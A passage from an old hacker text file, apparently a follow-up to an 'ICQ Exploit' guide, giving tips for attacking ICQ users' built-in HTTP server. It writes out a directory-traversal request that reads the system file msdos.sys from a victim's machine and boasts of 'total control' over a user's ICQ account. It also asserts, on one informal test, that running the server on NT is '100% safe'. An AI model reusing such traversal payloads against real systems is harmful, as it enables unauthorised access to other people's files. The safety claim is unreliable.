  649. total control over the users ICQ account. Mission success.
  650.  
  651. ICQ Exploit Tips
  652. -----------------
  653.  
  654. Remember in the last text I wrote? I told you to download the command.com. There's a better way to find out the
  655. Windows version, and more info with it, too. Get the file http://123.123.123.123/.html/......../msdos.sys.
  656.  
  657. I saw in the original ICQ Exploit text that the HTTP server Exploit doesn't work on NT, so i went in NT and i tested it.
  658. The result was system wasn't exploitable. Hence, if you are running NT, and you want to use the HTTP server; it's 100%
  659. safe for you to do so.
  660.  
  661. Shadow51
  662. 29000000
  663. Shadow51@hackcity.com
  664.  
  665.